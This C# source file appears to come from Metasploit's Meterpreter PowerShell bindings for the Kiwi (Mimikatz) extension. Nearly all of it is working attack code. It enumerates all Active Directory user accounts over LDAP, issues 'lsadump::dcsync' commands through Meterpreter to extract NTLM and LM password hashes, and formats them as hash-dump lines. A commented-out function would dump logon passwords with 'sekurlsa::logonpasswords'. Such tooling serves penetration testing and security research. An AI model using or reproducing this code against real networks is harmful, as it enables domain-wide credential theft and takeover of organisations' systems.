using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;

namespace MSF.Powershell.Meterpreter
{
    public static class Kiwi
    {
        public class Credential
        {
            public string Domain { get; set; }
            public string Username { get; set; }
            public string Password { get; set; }

            public override string ToString()
            {
                return string.Format("{0}|{1}|{2}", Password, Username, Domain);
            }
        }

        public class SyncRecord
        {
            public string Account { get; set; }
            public string NtlmHash { get; set; }
            public string LmHash { get; set; }
            public string SID { get; set; }
            public string RID { get; set; }

            public string HashString
            {
                get
                {
                    var lm = string.IsNullOrEmpty(LmHash) ? "aad3b435b51404eeaad3b435b51404ee" : LmHash;
                    var ntlm = string.IsNullOrEmpty(NtlmHash) ? "31d6cfe0d16ae931b73c59d7e0c089c0" : NtlmHash;
                    var userParts = Account.Split('\\');
                    return string.Format("{0}:{1}:{2}:{3}:::", userParts[userParts.Length - 1], RID, lm, ntlm);
                }
            }
        }

        public class HashReceivedEventArgs : EventArgs
        {
            public SyncRecord Record { get; private set; }

            public HashReceivedEventArgs(SyncRecord record)
            {
                Record = record;
            }
        }

        public delegate void HashReceivedEventHandler(object sender, HashReceivedEventArgs args);

        public class DcSyncAllSettings
        {
            public string Domain { get; set; }
            public string DomainController { get; set; }
            public string DomainFqdn { get; set; }
            public bool IncludeMachineAccounts { get; set; }
            public bool IncludeEmpty { get; set; }
        }

        private static readonly Regex ValueRegex = new Regex(@"\s*\*\s(?<k>[^:]*):\s(?<v>.*)");

        public static IEnumerable<string> DcSyncHashDump(DcSyncAllSettings settings)
        {
            foreach (var record in DcSyncAll(settings))
            {
                yield return record.HashString;
            }
        }

        public static IEnumerable<SyncRecord> DcSyncAll(DcSyncAllSettings settings)
        {
            if (User.IsSystem())
            {
                throw new InvalidOperationException("Current session is running as SYSTEM, dcsync won't work.");
            }

            System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNCALL] User is not running as SYSTEM.");

            if (string.IsNullOrEmpty(settings.Domain))
            {
                settings.Domain = System.DirectoryServices.ActiveDirectory.Domain.GetComputerDomain().Name;
            }

            if (string.IsNullOrEmpty(settings.Domain))
            {
                throw new ArgumentException("Domain parameter must be specified.");
            }

            System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Running against domain " + settings.Domain);

            using (var adRoot = new System.DirectoryServices.DirectoryEntry(string.Format("LDAP://{0}", settings.Domain)))
            using (var searcher = new System.DirectoryServices.DirectorySearcher(adRoot))
            {
                searcher.SearchScope = System.DirectoryServices.SearchScope.Subtree;
                searcher.ReferralChasing = System.DirectoryServices.ReferralChasingOption.All;
                searcher.Filter = "(objectClass=user)";
                searcher.PropertiesToLoad.Add("samAccountName");

                using (var searchResults = searcher.FindAll())
                {
                    System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Search resulted in results: " + searchResults.Count.ToString());
                    foreach (System.DirectoryServices.SearchResult searchResult in searchResults)
                    {
                        if (searchResult != null)
                        {
                            var username = searchResult.Properties["samAccountName"][0].ToString();
                            System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Found account: " + username);

                            if (settings.IncludeMachineAccounts || !username.EndsWith("$"))
                            {
                                var record = DcSync(string.Format("{0}\\{1}", settings.Domain, username), settings.DomainController, settings.DomainFqdn);

                                if (record != null && (settings.IncludeEmpty || !string.IsNullOrEmpty(record.NtlmHash)))
                                {
                                    yield return record;
                                }
                            }
                        }
                    }
                }
            }
        }

        public static SyncRecord DcSync(string username, string domainController = null, string domainFQDN = null)
        {
            if (User.IsSystem())
            {
                throw new InvalidOperationException("Current session is running as SYSTEM, dcsync won't work.");
            }

            System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] User is not running as SYSTEM.");

            if (string.IsNullOrEmpty(username) || !username.Contains("\\"))
            {
                throw new ArgumentException("Username must be specified in the format 'DOMAIN\\username'.");
            }

            Tlv tlv = new Tlv();

            var command = string.Format("lsadump::dcsync /user:{0}", username);

            if (!string.IsNullOrEmpty(domainController))
            {
                command = string.Format("{0} /dc:{1}", command, domainController);
            }

            if (!string.IsNullOrEmpty(domainFQDN))
            {
                command = string.Format("{0} /domain:{1}", command, domainFQDN);
            }

            // Mustn't forget to wrap this in a string so it's considered a single command
            command = string.Format("\"{0}\"", command);
            System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Command execution will contain: " + command);

            tlv.Pack(TlvType.KiwiCmd, command);

            System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Invoking kiwi_exec_cmd");
            var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest(CommandId.KiwiExecCmd));
            System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Invoked kiwi_exec_cmd");
            if (result != null)
            {
                System.Diagnostics.Debug.Write("[PSH BINDING] Result returned, kiwi is probably loaded");
                var responseTlv = Tlv.FromResponse(result);

                System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response came back with {0} results", responseTlv.Count));
                System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response should contain a value for {0} {1}", TlvType.KiwiCmdResult, (int)TlvType.KiwiCmdResult));
                foreach(var k in responseTlv.Keys)
                {
                    System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response contains key: {0} ({1})", k, (int)k));
                }

                if (responseTlv[TlvType.Result].Count > 0 &&
                    (int)responseTlv[TlvType.Result][0] == 0 &&
                    responseTlv[TlvType.KiwiCmdResult].Count > 0 &&
                    responseTlv[TlvType.KiwiCmdResult][0].ToString().Length > 0)
                {
                    System.Diagnostics.Debug.Write("[PSH BINDING] DcSync returned with some data");

                    var resultString = responseTlv[TlvType.KiwiCmdResult][0].ToString();
                    var record = new SyncRecord
                    {
                        Account = username
                    };
                    var elementsFound = 0;

                    foreach (var line in resultString.Split('\n'))
                    {
                        var stripped = line.Trim();
                        if (stripped.StartsWith("Hash NTLM: "))
                        {
                            var parts = stripped.Split(' ');
                            record.NtlmHash = parts[parts.Length - 1];
                            elementsFound++;
                        }
                        else if (stripped.StartsWith("lm  - 0: "))
                        {
                            var parts = stripped.Split(' ');
                            record.LmHash = parts[parts.Length - 1];
                            elementsFound++;
                        }
                        else if (stripped.StartsWith("Object Security ID"))
                        {
                            var parts = stripped.Split(' ');
                            record.SID = parts[parts.Length - 1];
                            elementsFound++;
                        }
                        else if (stripped.StartsWith("Object Relative ID"))
                        {
                            var parts = stripped.Split(' ');
                            record.RID = parts[parts.Length - 1];
                            elementsFound++;
                        }

                        if (elementsFound > 3)
                        {
                            break;
                        }
                    }

                    return record;
                }
            }

            System.Diagnostics.Debug.Write("[PSH BINDING] No result returned, kiwi is probably not loaded");
            throw new InvalidOperationException("Kiwi extension not loaded.");
        }

        // OJ - 7th May 2018
        // This function was broken when we rejigged kiwi to work off the Mimikatz subrepo. Commenting this stuff
        // out for now until I fix it.
        //public static List<Credential> CredsAll()
        //{
        //    System.Diagnostics.Debug.Write("[PSH BINDING] Invoking binding call CredsAll");

        //    if (!User.IsSystem())
        //    {
        //        throw new InvalidOperationException("Current session is not running as SYSTEM");
        //    }

        //    Tlv tlv = new Tlv();
        //    tlv.Pack(TlvType.KiwiCmd, "sekurlsa::logonpasswords");

        //    var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest("kiwi_exec_command"));

        //    var ids = new Dictionary<string, Credential>();

        //    if (result != null)
        //    {
        //        System.Diagnostics.Debug.Write("[PSH BINDING] Result returned, kiwi is probably loaded");
        //        var responseTlv = Tlv.FromResponse(result);
        //        if (responseTlv[TlvType.Result].Count > 0 &&
        //            (int)responseTlv[TlvType.Result][0] == 0)
        //        {
        //            //foreach (var credObj in responseTlv[TlvType.KiwiPwdResult])
        //            //{
        //            //    var credDict = (Dictionary<TlvType, List<object>>)credObj;
        //            //    var credential = new Credential
        //            //    {
        //            //        Domain = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdDomain, string.Empty),
        //            //        Username = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdUserName, string.Empty),
        //            //        Password = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdPassword, string.Empty)
        //            //    };

        //            //    if (!ids.ContainsKey(credential.ToString()))
        //            //    {
        //            //        ids.Add(credential.ToString(), credential);
        //            //    }
        //            //}

        //            return new List<Credential>(ids.Values);
        //        }
        //    }

        //    System.Diagnostics.Debug.Write("[PSH BINDING] Result not returned, kiwi is probably not loaded");
        //    throw new InvalidOperationException("Kiwi extension is not loaded");
        //}

        //private static List<Dictionary<string, string>> ParseSSP(string[] output)
        //{
        //    var results = new Dictionary<string, Dictionary<string, string>>();
        //    var lines = new Queue<string>(output);

        //    while (lines.Count > 0)
        //    {
        //        var l = lines.Dequeue();
        //        // Make sure it's an SSP cred
        //        if (!Regex.IsMatch(l, @"\sssp\s:"))
        //        {
        //            continue;
        //        }

        //        l = lines.Dequeue();
        //        while (Regex.IsMatch(l, @"\[\d\]"))
        //        {
        //            var d = new Dictionary<string, string>();
        //            l = lines.Dequeue();
        //            for (int i = 0; i < 3; ++i)
        //            {
        //                ParseAndAddValue(l, d);
        //                l = lines.Dequeue();
        //            }

        //            //results[d.V
        //        }
        //    }

        //    // return new List<Credential>(results.Values);
        //    return null;
        //}

        //private static void ParseAndAddValue(string line, Dictionary<string, string> values)
        //{
        //    var match = ValueRegex.Match(line);
        //    if (match.Success)
        //    {
        //        values[match.Groups["k"].Value] = match.Groups["v"].Value;
        //    }
        //}
    }
}